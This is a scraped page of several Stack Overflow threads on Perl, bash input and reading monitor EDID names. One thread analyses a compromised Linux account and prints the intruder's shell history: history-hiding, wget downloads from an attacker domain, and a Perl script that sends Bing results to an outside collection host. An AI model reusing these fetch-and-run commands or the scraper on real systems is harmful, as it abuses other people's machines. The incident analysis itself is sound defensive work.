This question already has answers here:
How do I compare two strings in Perl?
(7 answers)
Closed 1 year ago.
Here is the code that I currently have. Running on Perl v5.8.9.
#!/usr/bin/perl
# Prompts the user for their desired configuration
print "\n";
print "Please type BB for breadboard, or ACU for the Audio Control Unit.\n";
print "Do you want a BB or ACU version of alarm programmer: ";
$a = <STDIN>;
if($a == "ACU"){
print("Initiating alarm programmer for ACU...\n");
}else{
print("Initiating alarm programmer for breadboard...\n");
}
Here is some sample output:
C:\Users\U157280\Documents\Alarm Programmer>PerlAutonomy.pl
Please type BB for breadboard, or ACU for the Audio Control Unit.
Do you want a BB or ACU version of alarm programmer: ACU
Initiating alarm programmer for ACU...
And another one:
C:\Users\U157280\Documents\Alarm Programmer>PerlAutonomy.pl
Please type BB for breadboard, or ACU for the Audio Control Unit.
Do you want a BB or ACU version of alarm programmer: BB
Initiating alarm programmer for ACU...
As you can see, it selects ACU for both even though the statements appear to be correct.
What am I doing wrong?
Following code snippet is an OP's altered code with minimal corrections.
Please include into your scripts use strict; and use warnings, it will warn you about potential issues with your code -- in long run it will save you a lot of trouble with code correction.
You should use string comparison operator eq instead of number comparison operator ==
#!/usr/bin/perl
#
use strict;
use warnings;
use feature 'say';
# Prompts the user for their desired configuration
say '
Available options:
BB -- for breadboard
ACU -- for the Audio Control Unit
';
print ' Please make a choice: ';
my $choice = <>;
chomp($choice);
if( $choice eq 'ACU') {
say "\n Initiating alarm programmer for ACU...";
} elsif( $choice eq 'BB' ) {
say "\n Initiating alarm programmer for breadboard...";
} else {
say "\n Wrong choice...";
}
exit 0;
To run external command or script you should use system
Reference:
perlop
say
chomp
system
Try this:
#!/usr/bin/perl
# Prompts the user for their desired configuration
print "\n";
print "Please type BB for breadboard, or ACU for the Audio Control Unit.\n";
print "Do you want a BB or ACU version of alarm programmer: ";
$a = <STDIN>;
chomp($a);
if($a eq "ACU"){
print("Initiating alarm programmer for ACU...\n");
}else{
print("Initiating alarm programmer for breadboard...\n");
}
You had 2 issues, first, = is assignment not comparison. Second, you had a newline at the end of your input that you weren't accounting for. The chomp() gets rid of the newline, and the eq operator performs string comparison.
Related
This question already has answers here:
Passing arguments to an interactive program non-interactively
(5 answers)
Closed 6 years ago.
I have been reading a ton about bash scripts and program testing but I am still unable to make this code work.
Basically it is a simple program that asks the user for either of north east south or west. I start the program then it immediately asks for input. I just can not get the bash script to give it any input. I tried using echo and expect.
Any help is appreciated.
Here is the function used to get the players input:
int process_input(Map *game)
{
printf("\n> ");
char ch = getchar();
char a = getchar(); //eat enter
int damage = rand() % 4;
switch(ch) {
case -1:
printf("you suck\n");
return 0;
break;
case 'n':
game->proto.move(game, NORTH);
break;
case 's':
game->_(move)(game, SOUTH);
break;
case 'e':
game->_(move)(game, EAST);
break;
case 'w':
game->_(move)(game, WEST);
break;
case 'a':
game->_(attack)(game, damage);
break;
case 'l':
printf("You can go:\n");
if(game->location->north) printf("NORTH\n");
if(game->location->south) printf("SOUTH\n");
if(game->location->east) printf("EAST\n");
if(game->location->west) printf("WEST\n");
break;
default:
printf("Whats next?", ch);
}
return 1;
}
And here is the attempt at a bash script:
#!/bin/bash
/Desktop/c
./ex17 echo 'w'
You can feed input into a program from bash using any of the following mechanisms.
For a single line of input, you can use a here-string:
./ex17 <<<'w'
For multiple lines, you can use a here-document:
./ex17 <<'EOF'
w
second line of input
more input
EOF
Or you can move those lines out of the script and into a separate file:
./ex17 <filename
More generally, you can run a command that generates as its output the desired input to your program, and connect them together with a pipe. For instance, the above could also be written:
cat filename | ./ex17
or the original example as
echo w | ./ex17
That's more general because you can replace cat and echo here with any sort of program, which can do all sorts of computation to determine what it outputs instead of just dumping the contents of a static string or file.
But what you can't easily do from bash is drive input, read output, and make decisions about what to send as the next input. For that, you should look at expect. An expect script would look something like this:
#!/usr/bin/env expect
spawn ./ex17
expect ">"
send "w\n"
expect "Whats next?"
send "next line here\n"
# turn it back over to interactive user
interact
Try this: first:
echo w | ./ex17
This will send w to the example and output the move. This is called piping; and it essentially connects the stdout of echo to the stdin of ex17
You can do either a C code or a Bash script, not a mixed one.
Use scanf() for reading from keyboard (it stops reading when you hit ENTER) and complete this code in C language.
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 5 years ago.
Improve this question
There was an account named "user" that would be used for these logins, which would be from all over the world. I spent several hours yesterday securing the computer and there have been no logins since that time. I awked the /var/log/auth.log into a list of ips ordered from oldest to most recent login, if that somehow helps:
185.145.252.26
185.145.252.36
109.236.83.3
104.167.2.4
217.23.13.125
185.38.148.238
194.88.106.146
43.225.107.70
194.88.107.163
192.162.101.217
62.112.11.88
194.63.141.141
194.88.107.162
74.222.19.247
194.88.107.164
178.137.184.237
167.114.210.108
5.196.76.41
118.70.72.25
109.236.91.85
62.112.11.222
91.195.103.172
62.112.11.94
62.112.11.90
188.27.75.73
194.88.106.197
194.88.107.165
38.84.132.236
91.197.235.11
62.112.11.79
62.112.11.223
144.76.112.21
185.8.7.144
91.230.47.91
91.230.47.92
91.195.103.189
91.230.47.89
91.230.47.90
109.236.89.72
195.228.11.82
109.236.92.184
46.175.121.38
94.177.190.188
171.251.76.179
173.212.230.79
144.217.75.30
5.141.202.235
31.207.47.36
62.112.11.86
217.23.2.183
217.23.1.87
154.122.98.44
41.47.42.128
41.242.137.33
171.232.175.131
41.114.123.190
1.54.115.72
108.170.8.185
86.121.85.122
91.197.232.103
160.0.224.69
217.23.2.77
212.83.171.102
41.145.17.243
62.112.11.81
82.79.252.36
41.114.63.134
5.56.133.126
109.120.131.106
76.68.108.151
113.20.108.27
46.246.61.20
146.185.28.52
45.32.219.199
One of the first things I did after changing the password of the "user" account was running history, which gave me this result:
1 sudo
2 sudo
3 sudo service vsftpd stop
4 su clay
5 unset PROMPT_COMMAND
6 PS1='[PEXPECT]\$'
7 wget http://xpl.silverlords.org/bing -O bing
8 wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9 wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10 uname
11 n
12 uname
13 history
I then ran cat /home/user/.bash_history for more but what I already had was all that was in the file.
In "user"'s home folder, I found four files, bing, output.13.19.27.txt , output.16.10.38.txt, and word. All were empty except bing, which was a perl script:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use LWP::Simple;
use POSIX qw(strftime);
my $data = strftime "%H.%M.%S", gmtime;
my $ARGC = #ARGV;
if ($ARGC !=1) {
printf "$0 arquivo.txt\n";
printf "Coded by: Al3xG0 x#~\n";
exit(1);
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";
my $max_results = 2;
open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;
while (<IFH>) {
next if /^ *$/;
my $search_word = $_;
$search_word =~ s/\n//;
print "Results for -$search_word-\n";
for (my $i = 0; $i < $max_results; $i += 10) {
my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
$b->timeout(30); $b->env_proxy;
my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
my $check = index($c, 'sb_pagN');
if ($check == -1) { last; }
while (1) {
my $n = index($c, '<h2><a href="');
if ($n == -1) { last; }
$c = substr($c, $n + 13);
my $s = substr($c, 0, index($c, '"'));
my $save = undef;
if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
print "$save\n";
#if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
getprint("http://post.silverlords.org/sites.php?site=$save");
}
}
print "\n";
}
close (IFH);
close (OFH);
I don't know perl, and after spending so much time with sshd config, blacklists, etc., I don't really have the time or energy to learn. If anyone could tell me what the script does and/or what the attackers were trying to do that would be great.
Thanks so much,
Clay
EDIT: I found this article that could explain the purpose of the bing search script: https://www.wired.com/2013/02/microsoft-bing-fights-botnets/
It reads the file passed on the command line, and uses each line as a phrase to do a Bing search. It prints the URL of every search result returned by Bing, and also sends it to http://post.silverlords.org/sites.php?site=$save where $saveis the URL
It used to write the same URLs to the output.HH.MM.SS.txt files, but that line has been commented out so the files are created but left empty
So it's just a command-line bing search; nothing too sinister. Essentially nothing that they couldn't run on any machine that has access to bing
This is not an answer but merely an overlong comment about the observations I made.
When I issue the wget ... -O word commands, it works for me and I receive two files full of words. Looks like a list of random words, maybe passwords for a brute-force attack:
first file: (excerpt)
kalcio
kalciolaria
kalciolariaconia2
kalciov
kalcistn
kalcit
kalcit
kalcita
...
second file: (excerpt)
curious2s
curious2saab95
curious2:saab95
curious2see
curious2see
curious2squeak2
curious2swingineverton
Curious2tender
curious2tryany2asdfg
CURIOUS2TRYIT
curious2trythre092703
...
The Perl script bing is written by someone who's not familiar with Perl. He uses beginner's style from bad tutorials and/or obviously doesn't know the language very well.
Because he issued su clay he might know that such a user (presumably your user) even exists on that machine, without examining /etc/passwd or similar.
As #borodin and #melpomene say, the script searches bing for these words and then parses the resulting bing-page for URLs and then submits them to post.silverlords.org.
As the script currently is, it only abuses your computer's CPU and network to get its work done. The "work" is to massively submit Bing searches for all the words and collect the results at post.silverlords.org.
I have the following perl code:
my($result) = "";
while($line = <STDIN>) {
$result .= $line;
}
What I want to do basically is to read the user input and store it in a variable ("$result"). The problem is that when the input is too long, the script gets stuck and you will have to ctrl-c to cancel the execution to get out. It sounds like there is a limited number of chars to read . There should be a way to change such a limit.
The perl version I have is: v5.18.2
Mac OS: Sierra 10.12.5
Thanks for any help!
----- additional info --------------------
This is the full code to illustrate the problem:
#!/usr/bin/perl -w
print "Input your suggestion:\n";
my(#lines) = <STDIN>;
print "Your suggestion is:\n";
foreach $l (#lines) {
print "$l";
}
Start the script, go to https://en.wikipedia.org/wiki/Opioid_use_disorder#Cause and copy from "Most people who have an opioid use disorder" to "play a role in dependence and overdose" (too many chars that I cannot copy/paste here), and paste the content to the console as input, and you will see the script halts at "code for seemingl".
In Perl, a scalar variable is used to represent a block of information.
A scalar may refer to an integer, a float, a string, an object, binary information, etc.
It's a versatile variable with no length limit.
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
I'm writing a Perl script that searches a kml file and I need to print a very long line of latitude/longitude coordinates. The following script successfully finds the string I'm looking for, but just prints a blank line instead of the value of the string:
#!/usr/bin/perl
# Strips unsupported tags out of a QGIS-generated kml and writes a new one
$file = $ARGV[0];
# read existing kml file
open( INFO, $file ); # Open the file
#lines = <INFO>; # Read it into an array
close(INFO); # Close the file
#print #lines; # Print the array
$x = 0;
$coord_string = "<coordinates>";
# go through each line looking for above string
foreach $line (#lines) {
$x++;
if ( $x > 12 ) {
if ( $line =~ $coord_string ) {
$thisCooordString = $line;
$var_startX = $x;
print "Found coord string: $thisCoordString\n";
print " on line: $var_startX\n";
}
}
}
The file that it's reading is here
and this is the output I get:
-bash-4.3$ perl writekml.pl HUC8short.kml
Found coord string:
on line: 25
Found coord string:
on line: 38
Is there some cap on the maximum length that a string can be in Perl? The longest line in this file is ~151,000 characters long. I've verified that all the lines in the file are read successfully.
You've misspelled the variable name (two os vs three os):
$thisCooordString = $line;
...
print "Found coord string: $thisCoordString\n";
Add use strict and use warnings to your script to prevent these sorts of errors.
Always include use strict and use warnings in EVERY perl script.
If you had done this, you would've gotten the following error message to clue you into your bug:
Global symbol "$thisCoordString" requires explicit package name
Adding these pragmas and simplifying your code results in the following:
#!/usr/bin/env perl
# Strips unsupported tags out of a QGIS-generated kml and writes a new one
use strict;
use warnings;
local #ARGV = 'HUC8short.kml';
while (<>) {
if ( $. > 12 && /<coordinates>/ ) {
print "Found coord string: $_\n";
print " on line: $.\n";
}
}
You can even try with perl one liners as shown below:
Perl One liner on windows command prompt:
perl -lne "if($_ =~ /<coordinates>/is && $. > 12) { print \"Found coord string : $_ \n"; print \" on line : $. \n\";}" HUC8short.kml
Perl One liner on unix prompt:
perl -lne 'if($_ =~ /<coordinates>/is && $. > 12) { print "Found coord string : $_ \n"; print " on line : $. \n";}' HUC8short.kml
As others have pointed out, you need. No, you MUST always use use strict; and use warnings;.
If you used strict, you would have gotten an error message telling you that your variable $thisCoordString or $thisCooordString was not declared with my. Using warnings would have warned you that you're printing an undefined string.
Your whole program is written in a very old (and obsolete) Perl programming style. This is the type of program writing I would have done back in Perl 3.0 days about two decades ago. Perl has changed quite a bit since then, and using the newer syntax will allow you to write easier to read and maintain programs.
Here's your basic program written in a more modern syntax:
#! /usr/bin/env perl
#
use strict; # Lets you know when you misspell variable names
use warnings; # Warns of issues (using undefined variables
use feature qw(say); # Let's you use 'say' instead of 'print' (No \n needed)
use autodie; # Program automatically dies on bad file operations
use IO::File; # Lots of nice file activity.
# Make Constants constant
use constant {
COORD_STRING => qr/<coordinates>/, # qr is a regular expression quoted string
};
my $file = shift;
# read existing kml file
open my $fh, '<', $file; # Three part open with scalar filehandle
while ( my $line = <$fh> ) {
chomp $line; # Always "chomp" on read
next unless $line =~ COORD_STRING; #Skip non-coord lines
say "Found coord string: $line";
say " on line: " . $fh->input_line_number;
}
close $fh;
Many Perl developers are self taught. There is nothing wrong with that, but many people learn Perl from looking at other people's obsolete code, or from reading old Perl manuals, or from developers who learned Perl from someone else back in the 1990s.
So, get some books on Modern Perl and learn the new syntax. You might also want to learn about things like references which can lead you to learn Object Oriented Perl. References and OO Perl will allow you to write longer and more complex programs.
Situation: I'm using multiple monitors and I want to get their names in bash. Currently I'm using Ubuntu 10.04.
I know about xrandr. From it I can get only statistics data. What I want is to read all monitor names in an array to work with them.
Is there a clear way to do that without cutting names from some kind of string? A clear way would be reading them from file. A not clear way would be to pipe xrandr output to some sort a function to cut names out from it.
Inspired by Beni's answer, this will read the EDID data using xrandr and extract the monitors names according to the EDID specification, with no need of any external tools like parse-edid:
#!/bin/bash
while read -r output hex conn; do
[[ -z "$conn" ]] && conn=${output%%-*}
echo "# $output $conn $(xxd -r -p <<< "$hex")"
done < <(xrandr --prop | awk '
!/^[ \t]/ {
if (output && hex) print output, hex, conn
output=$1
hex=""
}
/ConnectorType:/ {conn=$2}
/[:.]/ && h {
sub(/.*000000fc00/, "", hex)
hex = substr(hex, 0, 26) "0a"
sub(/0a.*/, "", hex)
h=0
}
h {sub(/[ \t]+/, ""); hex = hex $0}
/EDID.*:/ {h=1}
END {if (output && hex) print output, hex, conn}
' | sort
)
Uses awk to precisely extract the monitor name only, and no extra garbage from the EDID, hence "magic numbers" like 000000fc00, 26 and 0a. Finally uses xxd to convert from hex to ASCII, printing one monitor name per line.
Based on this solution I made a handy script to switch monitors, which can also be used to simply list monitor info:
$ monitor-switch --list
Connected monitors:
# DFP5 HDMI HT-R391
# DFP7 DVI-I DELL U2412M
$ monitor-switch --list
Connected monitors:
# DisplayPort-1 DisplayPort DELL U2412M
# DisplayPort-3 DisplayPort DELL U2415
# HDMI-A-2 HDMI LG TV
Tested on Ubuntu 16.04, 18.04. (I know its too late to answer but this solution is relevant today)
$ sudo apt-get install -y hwinfo
...
$ hwinfo --monitor --short
monitor:
SONY TV
AUO LCD Monitor
I have two monitors attached. One with the laptop and the other is an external display. As soon as the external monitor is plugged-in or out, this command reflects the change. You continuously need to poll. Removing the --short option gives more detailed information.
You can poll the state with the following background job:
$ while true;
> do
> hwinfo --monitor --short;
> sleep 2;
> done >> monitor.log &
The while true loop runs infinite times. The sleep 2 pauses each iteration of the loop for 2 seconds. And the output of hwinfo --monitor --short is appended to monitor.log. This log file can give you the activity history of monitor plug-in and plug-out.
FYI: I am using a background (daemon) python script using the above command (and other similar ones) to detect if someone is doing some HW plug-ins and plug-outs with the systems in the computer lab. If so, I get appropriate notifications that someone plugged-out/in a monitor, mouse or keyboard in almost real-time!
More info about hwinfo command is here. Its man page is also a good source.
sudo get-edid didn't work for me. (EDIT: now works on another computer, Lubuntu 14.10; I'd blame BIOS differences but that's a random guess...)
Anyway under X, xrandr --verbose prints the EDID block. Here is a quick and dirty way to extract it and pass to parse-edid:
#!/bin/bash
xrandr --verbose | perl -ne '
if ((/EDID(_DATA)?:/.../:/) && !/:/) {
s/^\s+//;
chomp;
$hex .= $_;
} elsif ($hex) {
# Use "|strings" if you dont have read-edid package installed
# and just want to see (or grep) the human-readable parts.
open FH, "|parse-edid";
print FH pack("H*", $hex);
$hex = "";
}'
If you don't want to parse xrandr output, write a C program using libXrandr that gets only what you want. If all you want to do is to query information, it can be done quickly. Read this document.
If you want to get the real monitor name, an alternative to #dtmilano's solution is to get the EDID property of the monitor using libXrandr and then manually parse it and print (read the EDID specification).
xrandr source code.
I know this is a dirty way, but it gives me some monitor model name even better than sudo get-edid|parse-edid. It reads information in arrays, and outputs it in a way that can be read like you would read a file. You may modify it according to your needs.
#!/bin/bash
#
#
# get-monitors.sh
#
# Get monitor name and some other properties of connected monitors
# by investigating the output of xrandr command and EDID data
# provided by it.
#
# Copyright (C) 2015,2016 Jarno Suni <8#iki.fi>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. See <http://www.gnu.org/licenses/gpl.html>
set -o nounset
set -o errexit
# EDID format:
# http://en.wikipedia.org/wiki/Extended_Display_Identification_Data#EDID_1.3_data_format
# http://read.pudn.com/downloads110/ebook/456020/E-EDID%20Standard.pdf
declare -r us=';' # separator string;
# If EDID has more than one field with same tag, concatenate them,
# but add this string in between.
declare -r fs=$'\x1f' # Field separator for internal use;
# must be a character that does not occur in data fields.
declare -r invalid_edid_tag='--bad EDID--'
# If base EDID is invalid, don't try to extract information from it,
# but assign this string to the fields.
# Get information in these arrays:
declare -a outs # Output names
declare -a conns # Connection type names (if available)
declare -a names # Monitor names (but empty for some laptop displays)
declare -a datas # Extra data; may include laptop display brand name
# and model name
declare -i no # number of connected outputs (to be counted)
# xrandr command to use as a source of information:
declare -r xrandr_output_cmd="xrandr --prop"
hex_to_ascii() {
echo -n "$1" | xxd -r -p
}
ascii_to_hex() {
echo -n "$1" | xxd -p
}
get_info() {
no=0
declare OIFS=$IFS;
IFS=$fs
while read -r output conn hexn hexd; do
outs[no]="${output}"
conns[no]="${conn}"
names[no]="$(hex_to_ascii "$hexn")"
datas[no]="$(hex_to_ascii "$hexd")"
(( ++no ))
done < <(eval $xrandr_output_cmd | gawk -v gfs="$fs" '
function print_fields() {
print output, conn, hexn, hexd
conn=""; hexn=""; hexd=""
}
function append_hex_field(src_hex,position,app_hex, n) {
n=substr(src_hex,position+10,26)
sub(/0a.*/, "", n)
# EDID specification says field ends by 0x0a
# (\n), if it is shorter than 13 bytes.
#sub(/(20)+$/, "", n)
# strip whitespace at the end of ascii string
if (n && app_hex) return app_hex sp n
else return app_hex n
}
function get_hex_edid( hex) {
getline
while (/^[ \t]*[[:xdigit:]]+$/) {
sub(/[ \t]*/, "")
hex = hex $0
getline
}
return hex
}
function valid_edid(hex, a, sum) {
if (length(hex)<256) return 0
for ( a=1; a<=256; a+=2 ) {
# this requires gawk
sum+=strtonum("0x" substr(hex,a,2))
# this requires --non-decimal-data for gawk:
#sum+=sprintf("%d", "0x" substr(hex,a,2))
}
if (sum % 256) return 0
return 1
}
BEGIN {
OFS=gfs
}
/[^[:blank:]]+ connected/ {
if (unprinted) print_fields()
unprinted=1
output=$1
}
/[^[:blank:]]+ disconnected/ {
if (unprinted) print_fields()
unprinted=0
}
/^[[:blank:]]*EDID.*:/ {
hex=get_hex_edid()
if (valid_edid(hex)) {
for ( c=109; c<=217; c+=36 ) {
switch (substr(hex,c,10)) {
case "000000fc00" :
hexn=append_hex_field(hex,c,hexn)
break
case "000000fe00" :
hexd=append_hex_field(hex,c,hexd)
break
}
}
} else {
# set special value to denote invalid EDID
hexn=iet; hexd=iet
}
}
/ConnectorType:/ {
conn=$2
}
END {
if (unprinted) print_fields()
}' sp=$(ascii_to_hex $us) iet=$(ascii_to_hex $invalid_edid_tag))
IFS="$OIFS"
}
get_info
# print the colums of each display quoted in one row
for (( i=0; i<$no; i++ )); do
echo "'${outs[i]}' '${conns[i]}' '${names[i]}' '${datas[i]}'"
done
You may try ddcprobe and/or get-edid
$ sudo apt-get install xresprobe read-edid
$ sudo ddcprobe
$ sudo get-edid
You're looking for EDID information, which is passed along an I²C bus and interpreted by your video driver. As dtmilano says, get-edit from ddcprobe should work.
You can also get this information by logging your X start:
startx -- -logverbose 6
Years ago, I used a package called read-edid to gather this information.
The read-edid package may be available in Ubuntu already, according to this blog post from 2009.